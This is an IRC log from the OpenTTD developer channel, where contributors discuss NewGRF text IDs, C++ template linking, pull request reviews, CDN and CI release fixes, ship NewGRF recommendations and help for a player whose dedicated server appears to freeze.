14:27:35 <merni> https://stackoverflow.com/questions/10632251/undefined-reference-to-template-function ๐Ÿค”
14:28:04 <merni> apparently the template functions need to be defined in the header file? that seems very weird to me
14:29:03 <_glx_> ah yes
14:29:46 <andythenorth> is there a way I can use string 4835 \98\0f\80 \80 increases production!
14:29:55 <andythenorth> ?
14:30:13 <_glx_> where ?
14:31:25 <_glx_> you can't assume string ids, they change every time a string is added/removed
14:32:13 <_glx_> and newgrf control codes are not openttd control codes
14:33:09 <andythenorth> in https://newgrf-specs.tt-wiki.net/wiki/Callbacks#Random_production_change_.2829.29
14:33:28 <andythenorth> for return value 0F
14:33:44 <merni> _glx_: so I just move the entire definition of `BuildSetDropDownList` into `settings_gui.h` ?
14:37:44 <andythenorth> oof maybe I need to use text stack
14:41:01 <_glx_> merni: should work
14:44:27 <_glx_> you can use TTD TextID andythenorth
14:44:46 <_glx_> at least some of them
14:46:17 <andythenorth> not sure if I can get town name
14:46:29 <andythenorth> no var for it
14:46:58 <_glx_> https://github.com/OpenTTD/OpenTTD/blob/master/src/newgrf.cpp#L486-L541
14:48:14 <_glx_> to match with <https://newgrf-specs.tt-wiki.net/wiki/TextIDs>
14:49:00 <_glx_> TEXTID_TO_STRINGID(0x4835, 0x4838, STR_NEWS_INDUSTRY_PRODUCTION_INCREASE_GENERAL, STR_NEWS_INDUSTRY_PRODUCTION_INCREASE_FARM);
14:49:10 <_glx_> looks like 4835 is ok
14:52:27 <_glx_> anyway you don't set the parameters in the newgrf
14:53:07 <DorpsGek> [OpenTTD/OpenTTD] merni-ns updated pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
14:54:31 <merni> "Use tabs for indentation"... ๐Ÿคฆ
14:55:10 <andythenorth> not sure how I'd use it
14:55:20 <andythenorth> FIRS does use TTD strings in some places
14:56:21 <_glx_> the idea is to return a specific news message, so it has to follow the news message format and parameters will be filled by openttd as usual
14:59:28 <andythenorth> current code is https://github.com/andythenorth/firs/blob/gs-is-real/src/templates/produce_primary.pynml#L166
15:00:57 <DorpsGek> [OpenTTD/OpenTTD] merni-ns updated pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
15:01:28 <merni> Hopefully for the last time
15:25:54 <andythenorth> _glx_: didn't expect it to be so simple ๐Ÿ˜›
15:25:54 <andythenorth> ` STORE_TEMP(
15:25:54 <andythenorth> 0x4835 | (${industry.id}_new_production_level() << 16),
15:25:54 <andythenorth> 256
15:25:54 <andythenorth> )`
15:26:21 <peter1138> Hi
15:26:46 <andythenorth> o/
15:32:40 <_glx_> merni: at least codeql built fine
15:33:33 <merni> nice
15:45:37 <merni> all checks passed
15:45:43 <merni> _glx_: mind reviewing?
16:30:22 *** gelignite has joined #openttd
16:44:59 <DorpsGek> [OpenTTD/OpenTTD] glx22 approved pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508699947
17:03:50 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 merged pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
17:03:53 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 closed issue #11087: [Bug]: Base sound selection disabled https://github.com/OpenTTD/OpenTTD/issues/11087
17:32:47 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 updated pull request #11085: Codechange: introduce new type and functions for StringParameter backups https://github.com/OpenTTD/OpenTTD/pull/11085
17:32:50 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 updated pull request #11052: Codechange: use vector with struct for string parameter backups https://github.com/OpenTTD/OpenTTD/pull/11052
17:47:18 <DorpsGek> [OpenTTD/team] glx22 commented on issue #434: [en_AU] Translator access request https://github.com/OpenTTD/team/issues/434
18:06:57 <peter1138> Damn, I really fancy fish & chips now.
18:07:53 <andythenorth> same
18:12:22 <LordAro> peter1138: i had fish & chips!
18:12:35 <peter1138> Coincidence!?
18:14:35 <peter1138> Hmm, 4,610km so far. 1,871km behind target :p
18:14:59 <peter1138> "target" as in... the thing I set a few years ago and haven't touched nor reached since...
18:19:43 *** Wormnest has joined #openttd
18:20:18 <peter1138> Fetched 198 MB in 3s (65.1 MB/s) - pfff, so slow.
18:20:43 <peter1138> (It's a VM in a datacentre, should be gbit!)
18:22:40 <LordAro> peter1138: 3894mi, 94mi behind
18:22:51 <peter1138> Noice
18:29:50 <kuhnovic> Is there a way to add an additional company to a single player game, maybe using cheats? Would be nice for testing
18:32:34 *** belajalilija has joined #openttd
18:32:34 <belajalilija> kuhnovic: Look up idle AI
18:32:44 <belajalilija> Then use cheats to change company
18:34:08 <kuhnovic> I'll give that a try, thanks
18:37:36 <_jgr_> The `start_ai` console command is the easiest way to do this
18:37:48 <_jgr_> You can then change companies using the cheats window
18:39:12 <DorpsGek> [OpenTTD/OpenTTD] eints-sync[bot] pushed 1 commits to master https://github.com/OpenTTD/OpenTTD/commit/10dd3119b1c15fc44da29f792c90b1a2cf0e074c
18:39:13 <DorpsGek> - Update: Translations from eints (by translators)
18:45:32 *** openttdfan123 has joined #openttd
18:45:32 <openttdfan123> _jgr_: I have a problem every time I try to make my own multiplayer server the game just freazes and it's not responding can you pls fix it?
18:46:04 <andythenorth> wow
18:52:45 <_glx_> openttdfan123: Started from GUI or dedicated ?
18:54:26 <openttdfan123> I think dedicated
18:56:05 <_glx_> Newgrf scan at startup can take some time (if you have a huge amount) and there's no progress bar for it
18:56:52 <_glx_> Map generation can also take time depending on map size and used newgrf, but this one has progress bar
18:57:37 <openttdfan123> Do I need yo have a powerful windows to make a multiplayer game?
18:58:09 <openttdfan123> to
18:58:55 <_glx_> If the game runs fine in SP it should be ok
18:59:52 <_glx_> It's even recommended to put the server on the slowest machine
19:04:23 <openttdfan123> Im going to try again
19:12:32 <DorpsGek> [OpenTTD/OpenTTD] PeterN merged pull request #11090: Fix #4575: Use Latin 'l' in English translation of zloty. https://github.com/OpenTTD/OpenTTD/pull/11090
19:14:07 <openttdfan123> Bro Evan when its starting its not responding
19:58:56 *** virtualrandomnumber has joined #openttd
19:59:24 *** virtualrandomnumber has quit IRC ()
20:12:38 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 opened pull request #11094: Codechange: use Textbuf directly, instead via several virtual functions in Window https://github.com/OpenTTD/OpenTTD/pull/11094
20:23:29 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 updated pull request #11094: Codechange: use Textbuf directly, instead via several virtual functions in Window https://github.com/OpenTTD/OpenTTD/pull/11094
20:25:52 *** miccheck12 has joined #openttd
20:25:52 <miccheck12> openttdfan123: maybe it's paused by default
20:33:28 *** keikoz has quit IRC ()
20:34:57 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 updated pull request #11094: Codechange: use Textbuf directly, instead via several virtual functions in Window https://github.com/OpenTTD/OpenTTD/pull/11094
20:42:40 <truebrain> seems the new CDN is doing fine; nobody reported any issues so far, and the backend is not reporting any issues either. W00p!
20:43:25 *** keikoz has joined #openttd
20:43:38 <truebrain> ~0.5TB per month on downloads directly via us. For about 100k downloads.
20:44:01 <truebrain> if the last 6 hours can be plotted as fair average, ofc ๐Ÿ˜›
20:46:02 <truebrain> BaNaNaS caching is finally at the 50% mark .. the main CDN is already at the 33% mark .. so that is all going well too ๐Ÿ™‚
20:46:40 <_glx_> ah steam upload failed
20:46:59 <truebrain> yeah .. seems I missed a dependency
20:47:20 <truebrain> it also needs the source package .. did not expect that ๐Ÿ™‚
20:47:44 <truebrain> ah, for `release.vdf` .. bit unusual to do it like this, but okay
20:47:58 <truebrain> GOG would fail for the same reason
20:48:20 <_glx_> but untestable outside stable release
20:48:22 <truebrain> but at least the CDN worked fine! ๐Ÿ™‚
20:48:30 <truebrain> https://cdn.openttd.org/openttd-nightlies/2023/20230701-master-g10dd3119b1/ and everything \o/
20:48:34 <pickpacket> Is there a ship NewGRF that adds a reasonable amount of ships?
20:49:17 <_glx_> andy made many
20:50:07 <_glx_> https://grf.farm/unsinkable-sam/preview-28/html/ships.html
20:50:19 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 commented on pull request #11089: Autorail / autoroad tools can start dragging from invalid tiles https://github.com/OpenTTD/OpenTTD/pull/11089#issuecomment-1616108911
20:51:18 <DorpsGek> [OpenTTD/OpenTTD] TrueBrain opened pull request #11095: Fix d5a72193: [CI] GOG and Steam also depend on the source itself https://github.com/OpenTTD/OpenTTD/pull/11095
20:51:24 <truebrain> easy fix! ๐Ÿ™‚
20:52:29 <DorpsGek> [OpenTTD/OpenTTD] glx22 approved pull request #11095: Fix d5a72193: [CI] GOG and Steam also depend on the source itself https://github.com/OpenTTD/OpenTTD/pull/11095#pullrequestreview-1509038603
20:54:47 <pickpacket> _glx_: yes... but 60 ships isn't a very reasonable amount ๐Ÿ˜… The base set is a bit boring in that after 1974 no more cargo ships are introduced
20:55:16 <_glx_> oh most of them are variants
20:55:23 <pickpacket> no new oil tankers after 1968
20:56:16 <pickpacket> all the unsinkable sam ships are listed as designed in 1900
20:56:47 <pickpacket> and there are ships for many more cargo types than exist in vanilla
20:57:39 <_glx_> https://bananas.openttd.org/package/newgrf?set=ship
20:58:07 <truebrain> hmm ... content filtering .... with working query parameters ... all client-side ..... don't you just love it? ๐Ÿ˜„
20:58:50 <_glx_> magic ๐Ÿ™‚
20:59:17 <_glx_> you can try FISH
21:00:18 <_glx_> or SHARK
21:00:41 <peter1138> Mmm, widget system :/
21:00:50 <_glx_> <https://www.tt-forums.net/viewtopic.php?f=26&t=89338>
21:02:08 <pickpacket> _glx_: SHARK features 70 new ships... The description for FISH is a little vague but it appears to add whole classes of new ships that I don't really see a need for (river boats, lake ships, etc)
21:03:11 <_glx_> well there's only 9 ship newgrf on bananas
21:03:19 <_glx_> so the choice is very limited
21:04:36 <pickpacket> yeah :/
21:05:23 <truebrain> all those pesky content creators, not making enough new content for free .. so annoying ๐Ÿ˜›
21:05:50 <pickpacket> It's similar to the issue that made me make AsiaStar Redux :D I couldn't find any train NewGRF that just added a few trains. They all add a bazillion of them ๐Ÿ˜‚
21:06:00 <pickpacket> truebrain: I know, right? ;)
21:06:20 <truebrain> it is that our king just had a speech about slavery ...... (I AM KIDDING)
21:06:32 <pickpacket> lol
21:07:35 <pickpacket> I complained to a colleague the other day about how crap MS Teams is, because it can't even embed an mp4 file. I noted that even the web irc client thelounge.chat can do that, and that's a FOSS project
21:09:02 <pickpacket> after some discussion we came to the conclusion that it's hard for a multimillion dollar company to staff a project enough to add features that all other platforms have. It's much easier for projects run on a volunteer basis, because they have access to an almost infinite amount of manpower
21:09:05 <pickpacket> ;)
21:10:12 <pickpacket> I'll probably end up making a ship NewGRF soon enough ๐Ÿ˜‚
21:10:58 <pickpacket> this is something I absolutely love about this game. Something missing? I'll just add it. Doesn't exist? I'll create it
21:11:04 *** HerzogDeXtEr has quit IRC (Read error: Connection reset by peer)
21:13:25 <truebrain> I wish everyone understood that concept ๐Ÿ˜›
21:14:48 <pickpacket> tbf it's not just about understanding the concept. There's a fair bit of a learning curve and hours to plough into it to make what you want
21:15:34 <pickpacket> I spent *forever* on Tea Tea Deluxe because for some reason I decided that my first NewGRF should include wee animated farm workers
21:17:06 <pickpacket> but after making that -- and having added custom train cars to it -- making AsiaStar Redux took only two or three hours in total. Much of that time was fiddling with the sprites and sprite alignment, of course. But unlike Tea Tea Deluxe I had existing sprites to just modify slightly.
21:27:49 <peter1138> My favourite is comments like
21:27:49 <peter1138> > Somebody needs to hammer on the devs to make this available in vanilla.
21:29:03 *** keikoz has quit IRC (Ping timeout: 480 seconds)
21:32:51 <DorpsGek> [OpenTTD/OpenTTD] TrueBrain merged pull request #11095: Fix d5a72193: [CI] GOG and Steam also depend on the source itself https://github.com/OpenTTD/OpenTTD/pull/11095
21:33:42 <peter1138> Oh no, Steam Deck on sale...
21:34:21 <peter1138> And Out of Stock / unorderable. Handy.
21:39:22 *** choco has joined #openttd
21:39:22 <choco> Hope this is the right place for this; I'm trying to gather information/interact with a running game of openTTD purely from the command line, is there existing architecture to do that? Specifically I'd like to be able to place/build objects (roads to start), and query a company's balance.
21:49:10 <pickpacket> Iโ€™ve been thinking about the balance sheet. I can see income per vehicle type, but Iโ€™d like to have a view with income per cargo type. Itโ€™s something Iโ€™m definitely willing to implement myself if itโ€™s feasible, but I donโ€™t know when, where, or for how long those numbers might even exist
21:51:39 <_glx_> choco: admin port can get some info, but not build
21:56:13 <peter1138> And that's not "purely from the command line"!
21:56:37 <_glx_> it can be implemented as command line tool
21:59:50 *** gelignite has quit IRC (Quit: Stay safe!)
22:00:34 <locosage> https://cdn.discordapp.com/attachments/1008473233844097104/1124821880709320825/Screenshot_from_2023-07-02_02-00-12.png
22:00:34 <locosage> pickpacket: like this? xD
22:11:29 <DorpsGek> [OpenTTD/OpenTTD] zephyris opened issue #11096: [Bug]: In the high score table pressing the window X to exit does not work https://github.com/OpenTTD/OpenTTD/issues/11096
22:33:06 *** Wolf01 has quit IRC (Quit: Once again the world is quick to bury me.)
22:40:44 <_glx_> oh nice one
22:41:45 <talltyler> locosage: That would be nice for pickpacket to upstream ๐Ÿ™‚
22:41:47 <openttdfan123> miccheck12: Yea your right
22:46:50 <pickpacket> locosage: just like so, yes ๐Ÿ˜ƒ where do I find that?
22:50:27 <locosage> in citymania patch pack
22:50:40 <locosage> I don't find it particularly useful though
22:51:04 <locosage> and implementation is quite weird so definitely needs some changes
22:51:15 <locosage> that "cargo name" is a button xD
22:51:26 <locosage> changes quarterly/yearly numbers iirc
22:51:40 <DorpsGek> [OpenTTD/OpenTTD] glx22 commented on issue #11096: [Bug]: In the high score table pressing the window X to exit does not work https://github.com/OpenTTD/OpenTTD/issues/11096
22:52:45 <locosage> I usually just use cargo charts instead
22:54:03 <locosage> https://cdn.discordapp.com/attachments/1008473233844097104/1124835336766369812/Screenshot_from_2023-07-02_02-53-48.png
22:57:39 <talltyler> I also want to see that in vanilla ๐Ÿ™‚
23:41:43 *** nielsm has quit IRC (Ping timeout: 480 seconds)
23:53:01 *** Flygon has quit IRC (Read error: Connection reset by peer)